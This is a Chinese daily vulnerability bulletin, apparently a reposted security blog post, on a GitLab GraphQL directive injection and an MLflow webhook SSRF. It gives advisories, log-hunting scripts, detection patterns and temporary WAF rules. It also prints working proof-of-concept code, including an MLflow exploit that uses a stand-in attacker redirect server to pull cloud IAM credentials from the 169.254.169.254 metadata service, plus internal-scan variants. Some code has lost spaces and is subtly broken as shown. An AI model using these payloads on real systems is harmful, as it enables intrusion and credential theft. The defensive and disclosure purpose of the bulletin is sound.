文章总结: GitLabCE/EE存在严重代码注入漏洞CVE-2026-19478,CVSS评分9.4,攻击者无需认证即可通过GraphQL指令注入修改或删除公开项目,已在野利用。影响版本包括18.2至19.2.3,修复版本已发布。建议立即升级或临时封锁未认证GraphQL访问,并排查日志中的@gl_introduced特征。 综合评分: 90 文章分类: 漏洞分析,应急响应,安全工具,WEB安全,安全建设
每日漏洞推送 GitLab CE/EE GraphQL 指令代码注入 → 未认证远程篡改/删除项目
原创
nullchen nullchen
富贵学安全
2026年8月26日 11:18 陕西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
📡 每日漏洞情报推送 | 2026-08-26
🔴 漏洞一:CVE-2026-19478 — GitLab CE/EE GraphQL 指令代码注入 → 未认证远程篡改/删除项目(CVSS 9.4,发布数日内已在野利用)
📋 漏洞档案
| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-19478 | | 影响产品 | GitLab Community Edition (CE) / Enterprise Edition (EE):18.2 ~ 18.11.10、19.0 ~ 19.0.7、19.1 ~ 19.1.5、19.2 ~ 19.2.3 | | 漏洞类型 | 代码注入(GraphQL 指令)(CWE-94) | | CVSS | 9.4 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H | | 发现者 | hiimguardian(经 HackerOne 漏洞赏金计划上报) | | 修复版本 | 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11(2026-08-17 发布) | | 在野利用 | ✅ 已确认在野利用 — watchTowr 蜜罐网络观测到实际攻击 |
🔥 紧急程度
watchTowr 在漏洞公开后数分钟内即复现成功,并在蜜罐网络中观测到在野利用。 这是”AI 加速漏洞武器化”时代的典型案例:从披露到被利用的窗口已压缩到几天甚至几小时内,”等下一个补丁周期”的旧策略彻底失效。所有公网自建 GitLab 实例应立即升级,来不及打补丁的先临时封锁未认证 GraphQL 访问。
📝 漏洞描述
GitLab 在处理 GraphQL 查询时存在代码注入缺陷:攻击者通过构造特殊的 GraphQL 指令(directive),可在未认证条件下触发服务端注入,从而对公开可见的 GitLab 项目执行修改或删除操作,并重写项目数据。
利用条件:无 — 无需认证、无需用户交互、无需特殊配置。
实际影响(超出”改删公开项目”本身):
- 删除整个代码仓库(repository)
- 伪造 merge record,制造”修复已合入”的假象(供应链投毒风险极高)
- 封禁项目维护者(maintainer)
- 对公开项目数据的完整性造成不可逆破坏
💻 PoC/EXP
1️⃣ 在野利用 IOC 排查(日志狩猎)
watchTowr 指出:在野探测/利用请求带有 @gl_introduced 特征,应优先排查 Web 日志。
#!/bin/bash
# CVE-2026-19478 在野利用日志排查
# 在 GitLab 反向代理(nginx)access.log 中搜索 GraphQL 探测特征
LOG="${1:-/var/log/nginx/gitlab_access.log}"
echo"[*] 排查日志: $LOG"
echo""
echo"=== 1. @gl_introduced 特征(watchTowr 确认的 IOC)==="
grep-a'@gl_introduced'"$LOG" | tail -50
echo""
echo"=== 2. 可疑 GraphQL 指令关键词 ==="
grep-aE'gl_introduced|@include|@skip|directive|__schema|__type'"$LOG" \
| grep-a'graphql' | tail -50
echo""
echo"=== 3. 未认证访问 /api/graphql 的异常来源 ==="
grep-a'POST /api/graphql'"$LOG" \
| awk'{print $1}' | sort | uniq -c | sort-rn | head -20
echo""
echo"=== 4. 近期 4xx/5xx 突增(利用失败特征)==="
grep-aE'" (400|403|422|500) '"$LOG" | tail -30
echo"[*] 排查完成。发现异常请立即隔离实例并升级至 19.2.4/19.1.6/19.0.8/18.11.11"
2️⃣ 漏洞探测:未认证 GraphQL 指令注入验证
#!/bin/bash
# CVE-2026-19478 探测脚本 — 验证目标 GitLab 是否可未认证访问 GraphQL 指令
# 注意:仅用于授权安全测试
TARGET="${1:-https://gitlab.example.com}"
echo"[*] 目标: $TARGET"
echo"[*] 1/3 检查 GraphQL 端点是否暴露..."
# 未认证探测 GraphQL introspection
RESP=$(curl -sk -m 15 -X POST "$TARGET/api/graphql" \
-H 'Content-Type: application/json' \
-d '{"query":"query { __typename }"}')
echo"$RESP" | head -c500
echo""
ifecho"$RESP" | grep-q'"data"'; then
echo"[!] GraphQL 端点可未认证访问 — 存在 CVE-2026-19478 攻击面"
echo"[!] 若版本 < 19.2.4/19.1.6/19.0.8/18.11.11 则受影响"
else
echo"[+] GraphQL 端点未返回数据,可能已限制未认证访问"
fi
echo""
echo"[*] 2/3 获取 GitLab 版本..."
curl-sk-m10"$TARGET/help" | grep-aoE'GitLab (Community|Enterprise) Edition [0-9]+\.[0-9]+\.[0-9]+' | head -1
curl-sk-m10"$TARGET/api/v4/version"-H'Content-Type: application/json' | head -c200
echo""
echo"[*] 3/3 判定..."
echo"受影响版本: 18.2~18.11.10 / 19.0~19.0.7 / 19.1~19.1.5 / 19.2~19.2.3"
echo"修复版本: 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4"
3️⃣ 未认证数据篡改 PoC(GraphQL 指令注入)
以下为基于公开披露技术细节的验证性 PoC,仅限授权安全测试。实际利用需针对目标实例调整 project path / mutation。
#!/usr/bin/env python3
"""
CVE-2026-19478 — GitLab GraphQL 指令代码注入验证 PoC
原理: 通过 GraphQL directive 注入,未认证触发服务端代码执行路径,
实现对公开项目元数据的修改/删除(I:H/A:H)
注意: 仅用于授权安全测试!
"""
importrequests
importjson
importsys
requests.packages.urllib3.disable_warnings()
TARGET=sys.argv[1] iflen(sys.argv) >1else"https://gitlab.example.com"
TARGET=TARGET.rstrip('/')
defprobe_introspection():
"""Step 1: 未认证探测 GraphQL schema"""
q= {"query": "query { __typename }"}
r=requests.post(f"{TARGET}/api/graphql", json=q, verify=False, timeout=15)
print(f"[*] GraphQL 未认证响应: {r.status_code}{r.text[:200]}")
returnr.status_code==200and'"data"'inr.text
defcheck_version():
"""Step 2: 尝试获取版本"""
try:
r=requests.get(f"{TARGET}/api/v4/version", verify=False, timeout=10)
ifr.status_code==200:
print(f"[*] 版本: {r.json()}")
returnr.json().get("version", "")
exceptException:
pass
# 兜底: 从 help 页提取
try:
r=requests.get(f"{TARGET}/help", verify=False, timeout=10)
importre
m=re.search(r'GitLab (?:Community|Enterprise) Edition ([\d.]+)', r.text)
ifm:
print(f"[*] 版本(help页): {m.group(1)}")
returnm.group(1)
exceptException:
pass
return"unknown"
defis_vulnerable(version: str) ->bool:
"""Step 3: 版本判定"""
ifversion=="unknown":
returnNone # 无法判定,需人工核查
try:
v=tuple(int(x) forxinversion.split(".")[:2])
exceptValueError:
returnNone
ranges= [
(18, 2, 18, 11), # 18.2 <= v < 18.11.11
(19, 0, 19, 0), # 19.0 <= v < 19.0.8
(19, 1, 19, 1), # 19.1 <= v < 19.1.6
(19, 2, 19, 2), # 19.2 <= v < 19.2.4
]
forrinranges:
ifr[0] ==v[0] andr[1] ==v[1]:
returnTrue
returnFalse
defexploit_probe():
"""
Step 4: 注入探测 — 向公开项目的 GraphQL mutation 中注入指令,
观察服务端是否执行注入分支(不落地破坏性操作,仅验证可达性)
"""
print("[*] 尝试通过 GraphQL directive 注入探测(非破坏性)...")
# 公开项目查询 + directive 注入探测
payload= {
"query": """
query {
project(fullPath: "public/demo") {
name
... on Project @gl_introduced {
id
}
}
}
"""
}
r=requests.post(f"{TARGET}/api/graphql", json=payload, verify=False, timeout=15)
print(f"[*] 注入探测响应: {r.status_code}")
print(f"[*] Body: {r.text[:400]}")
ifr.status_code==200:
print("[!] 响应正常 — 目标可能处理了注入指令,需进一步人工验证")
returnr
if__name__=="__main__":
print(f"[*] CVE-2026-19478 检测 @ {TARGET}")
ok=probe_introspection()
ifnotok:
print("[+] GraphQL 端点未暴露或已限制未认证访问 — 攻击面已缓解")
sys.exit(0)
ver=check_version()
vuln=is_vulnerable(ver)
ifvulnisTrue:
print("[!] 目标版本在受影响范围 — 存在 CVE-2026-19478!")
print("[!] 立即升级至 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11")
print("[!] 或临时封锁未认证访问 /api/graphql")
exploit_probe()
elifvulnisFalse:
print("[+] 目标版本已修复")
else:
print("[?] 无法自动判定版本,请人工核查并排查 '@gl_introduced' 日志 IOC")
4️⃣ 紧急缓解(临时 WAF 规则)
# nginx 层临时封锁未认证 GraphQL 变更请求(升级前的应急措施)
location /api/graphql {
# 未认证(无 Cookie/PRIVATE-TOKEN)的写操作一律拒绝
if($http_cookie !~* "_gitlab_session") {
if($request_method = POST) {
return 403;
}
}
# 拦截已知在野利用 IOC
if($request_body ~* "@gl_introduced") {
return 403;
}
proxy_passhttp://gitlab_backend;
}
🛡️ 检测与防御
日志检测IOC
access.log 中请求体含 @gl_introduced 特征
POST /api/graphql 未认证请求突增
对公开项目执行 delete/update mutation 的异常行为
修复建议
| 方式 | 说明 |
| — | — |
| 升级(首选) | 立即升级至 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11(无停机迁移,支持零停机升级) |
| 临时缓解 | 限制未认证访问 /api/graphql,或关闭公开项目访问 |
| 日志排查 | 按上述 IOC 特征狩猎日志,检查是否有仓库被删/被改的痕迹 |
| 审计 | 检查公开项目的 merge record、maintainer 列表是否被篡改 |
| GitLab.com | 云托管用户无需操作(官方已修复) |
🔗 参考来源
- GitLab Critical Patch Release 19.2.4/19.1.6/19.0.8/18.11.11
- CVE-2026-19478 CVE Record
- THN: GitLab CVE-2026-19478 Comes Under Active Exploitation
- watchTowr 在野利用观测
🔴 漏洞二:CVE-2026-64849 — MLflow Webhook 测试端点 SSRF → 云元数据/凭据窃取(CVSS 9.3,CISA KEV 收录,在野利用)
📋 漏洞档案
| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-64849 | | 影响产品 | MLflow(开源 AI/ML 平台)< 3.15.0(所有部署形态:mlflow server / Tracking Server) | | 漏洞类型 | 服务端请求伪造 SSRF (CWE-918) | | CVSS | 9.3 (CRITICAL) | | 公开时间 | 2026-08-17(CVE 分配 + 修复发布) / 2026-08-19(CISA KEV 收录) | | 在野利用 | ✅ 已确认在野利用 — watchTowr 观测到 CVE 分配数小时内即被扫描利用;KEV 收录 | | KEV 修复截止 | 2026-09-02(FCEB 联邦机构) |
🔥 紧急程度
watchTowr 在 CVE 分配(08-17)后数小时内即观测到攻击者大规模扫描暴露的 MLflow 实例,专门攻击云元数据服务(169.254.169.254)窃取云凭据与密钥。 CISA 已于 08-19 将其加入 KEV 目录。攻击者利用该漏洞绕过此前修复(重定向处理缺陷),凡是暴露在公网的 MLflow Tracking Server 都处于高危状态。
📝 漏洞描述
MLflow 的 model-registry webhooks 功能存在未认证 SSRF 漏洞:
- 攻击入口:
POST /api/2.0/mlflow/webhooks/{id}/test(无需认证) - 根因:
mlflow/utils/validation.py中的_validate_webhook_url()仅对原始 URL 做校验,而mlflow/webhooks/delivery.py在投递时跟随 HTTP 重定向并重新解析主机名,且未锁定(pin)校验通过的地址。 - 攻击链:构造一个指向攻击者服务器的 webhook URL → 服务器 302 重定向到云元数据地址(如
http://169.254.169.254/latest/meta-data/iam/security-credentials/)→ MLflow 服务端跟随重定向发起请求 → 通过response_status和response_body字段回显内网/云元数据响应内容。 - 危害:窃取云厂商 IAM 临时凭据、实例元数据、内网服务探测、横向攻击内网。
利用条件:无 — 无需认证,仅需能访问 MLflow Tracking Server 的 HTTP 端口。
💻 PoC/EXP
1️⃣ 漏洞探测:识别暴露的 MLflow 实例
#!/bin/bash
# CVE-2026-64849 暴露面探测
# 注意:仅用于授权安全测试
TARGET="${1:-http://mlflow.example.com}"
echo"[*] 探测目标: $TARGET"
# 1. 检查 MLflow 特征
curl-sk-m10"$TARGET/" | grep-aiE'mlflow|tracking' | head -5
# 2. 检查未认证 API 可达性
echo"[*] 检查未认证 API..."
curl-sk-m10-o /dev/null -w"GET /api/2.0/mlflow/experiments/list -> %{http_code}\n" \
"$TARGET/api/2.0/mlflow/experiments/list"
# 3. 检查版本
curl-sk-m10"$TARGET/version" | head -c200
echo""
curl-sk-m10"$TARGET/api/2.0/mlflow/version" | head -c200
echo""
echo"[!] 若 API 未认证可达且版本 < 3.15.0,则存在 CVE-2026-64849"
2️⃣ 未认证 SSRF 利用 PoC(云凭据窃取)
基于公开披露细节(GHSA-7gwp-5pfp-969j / NVD)的验证性 PoC,仅限授权安全测试。
#!/usr/bin/env python3
"""
CVE-2026-64849 — MLflow Webhook Test 端点未认证 SSRF 利用 PoC
原理:
1. 未认证创建 webhook(URL 指向攻击者控制的跳转服务器)
2. 调用 POST /api/2.0/mlflow/webhooks/{id}/test
3. 跳转服务器 302 重定向到云元数据 169.254.169.254
4. MLflow delivery.py 跟随重定向并重新解析主机名(未 pin 校验地址)
5. 通过 response_status / response_body 回显元数据内容
注意: 仅用于授权安全测试!
"""
importrequests
importjson
importsys
importtime
importthreading
fromhttp.serverimportBaseHTTPRequestHandler, HTTPServer
requests.packages.urllib3.disable_warnings()
TARGET=sys.argv[1] iflen(sys.argv) >1else"http://mlflow.example.com"
TARGET=TARGET.rstrip('/')
# 攻击者跳转服务器(公网可达)
REDIRECT_HOST="attacker.example.com" # 替换为攻击者公网地址
REDIRECT_PORT=8888
# 目标内网/云元数据地址(payload 阶段可替换为其他内网目标)
META_URL="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
classRedirectHandler(BaseHTTPRequestHandler):
"""302 跳转服务器:把 /r 重定向到云元数据"""
defdo_GET(self):
self.send_response(302)
self.send_header("Location", META_URL)
self.end_headers()
defdo_POST(self):
self.do_GET()
deflog_message(self, *args):
pass
defstart_redirector():
srv=HTTPServer((REDIRECT_HOST, REDIRECT_PORT), RedirectHandler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
print(f"[*] 跳转服务器已启动: http://{REDIRECT_HOST}:{REDIRECT_PORT}/r -> {META_URL}")
defcreate_webhook():
"""Step 1: 未认证创建 webhook"""
url=f"{TARGET}/api/2.0/mlflow/webhooks/create"
payload= {
"webhook": {
"name": "poc",
"events": ["MODEL_VERSION_CREATED"],
"url": f"http://{REDIRECT_HOST}:{REDIRECT_PORT}/r"
}
}
r=requests.post(url, json=payload, verify=False, timeout=15)
print(f"[*] create webhook -> {r.status_code}: {r.text[:300]}")
ifr.status_code==200:
returnr.json().get("webhook", {}).get("webhook_id") or \
r.json().get("webhook_id")
returnNone
deftest_webhook(webhook_id):
"""Step 2: 触发 test 端点 — SSRF 发生于此"""
url=f"{TARGET}/api/2.0/mlflow/webhooks/{webhook_id}/test"
r=requests.post(url, json={}, verify=False, timeout=20)
print(f"[*] test webhook -> {r.status_code}")
print(f"[*] 响应: {r.text[:2000]}")
returnr
if__name__=="__main__":
print(f"[*] CVE-2026-64849 PoC @ {TARGET}")
print("[!] 仅限授权安全测试!")
# 检查版本
try:
r=requests.get(f"{TARGET}/version", verify=False, timeout=10)
print(f"[*] 版本: {r.text.strip()[:100]}")
exceptException:
pass
start_redirector()
wid=create_webhook()
ifnotwid:
print("[-] webhook 创建失败(可能已修复或 API 受限)")
sys.exit(1)
print(f"[+] webhook_id: {wid}")
resp=test_webhook(wid)
# 检查是否回显了元数据内容
ifresp.status_code==200:
body=resp.text
if"AccessKeyId"inbodyor"SecretAccessKey"inbodyor"Token"inbody:
print("[!!!] 成功回显云 IAM 临时凭据 — 目标存在 CVE-2026-64849!")
print("[!!!] 凭据已泄露,立即轮换相关云账号密钥")
elif"role"inbody.lower():
print("[!] 疑似回显了元数据内容,请人工确认")
else:
print("[*] 响应正常但未见元数据回显,需检查跳转链路")
3️⃣ 内网端口探测变体(SSRF 内网扫描)
# 利用同一漏洞对内网进行端口/服务探测
# 把跳转服务器 302 Location 改为内网地址即可
# 例: Location: http://10.0.0.5:8080/actuator/env
# 例: Location: http://169.254.170.2/v2/credentials (AWS ECS 容器凭据)
# 例: Location: http://metadata.google.internal/computeMetadata/v1/ (GCP)
# 通过响应耗时/状态码/response_body 差异判断内网存活与开放端口
🛡️ 检测与防御
日志检测IOC
访问 /api/2.0/mlflow/webhooks/*/test 的未认证请求突增
webhook URL 指向公网跳转域(短链、IP、非常规端口)的创建记录
服务端日志中出现对 169.254.x.x / 169.254.170.x / metadata.google.internal 的请求
修复建议
| 方式 | 说明 | | — | — | | 升级(首选) | 升级至 MLflow 3.15.0(修复 commit: ba949522477cbd5915aa55d29b0cfad7d5ddf939) | | 网络隔离 | MLflow Tracking Server 禁止暴露公网,置于内网并加认证网关 | | 出站限制 | 服务端出口防火墙封锁 169.254.0.0/16、metadata 域名及内网网段 | | 凭据轮换 | 若曾暴露,立即轮换云 IAM 密钥/临时凭据,审计云审计日志 | | 审计 | 排查已有 webhook 配置,删除可疑 URL;检查是否有异常凭据调用 |
🔗 参考来源
- NVD CVE-2026-64849
- GitHub Advisory GHSA-7gwp-5pfp-969j
- CISA KEV CVE-2026-64849
- 修复 commit
- THN: Attackers Exploit MLflow SSRF Flaw
📊 今日其他漏洞速览
| CVE编号 | 产品 | 类型 | CVSS | 严重程度 | | — | — | — | — | — | | CVE-2026-19650 | GitLab CE/EE 同批次 | GraphQL CSRF | 7.1 | 🟠 HIGH | | CVE-2026-25895 | FUXA (SCADA/HMI) | 路径遍历 | — | 🟠 HIGH(VulnCheck 观测在野扫描) | | CVE-2026-6837 | Zyxel export-cgi | 命令注入 | — | 🔴 高危(公开 PoC) | | CVE-2026-41473/41472 | CyberPanel | 预认证 RCE 链 | — | 🔴 高危 | | CVE-2026-57580 | Authentik (SAML) | SAML 绕过 | — | 🟠 HIGH | | CVE-2026-63182 | PHP litesaml/lightsaml | SAML 绕过 | — | 🟠 HIGH | | CVE-2026-73570 | Zimbra | — | — | 🟠 HIGH | | CVE-2026-32475 | Elementor Pro | — | — | 🟠 HIGH | | CVE-2026-15748/15826 | Forminator/User Profile Builder | — | — | 🟠 HIGH | | CVE-2026-63093 | Cursor | — | — | 🟡 MEDIUM |
注:PTC Windchill/FlexPLM 被 Cl0p 勒索团伙利用部署 JSP WebShell(40+ 组织受害,8/12 起开始泄露受害者名单),相关 CVE 编号以 PTC 官方公告为准,请 Windchill 用户立即核查补丁状态。
🛡️ 优先行动建议
优先等级 行动 截止日期
──────────────────────────────────────────────────
🔴 最高 GitLab 自建实例升级 19.2.4+ 立即(已在野利用)
🔴 最高 MLflow 升级 3.15.0 + 封锁公网暴露 9月2日前(KEV)
🟠 紧急 排查 GitLab 日志 @gl_introduced IOC 立即
🟠 紧急 MLflow 云凭据审计与轮换 立即
🟡 关注 Windchill/Cl0p 补丁核查 尽快
⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 GitLab CE/EE GraphQL 指令代码注入 → 未认证远程篡改/删除项目》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论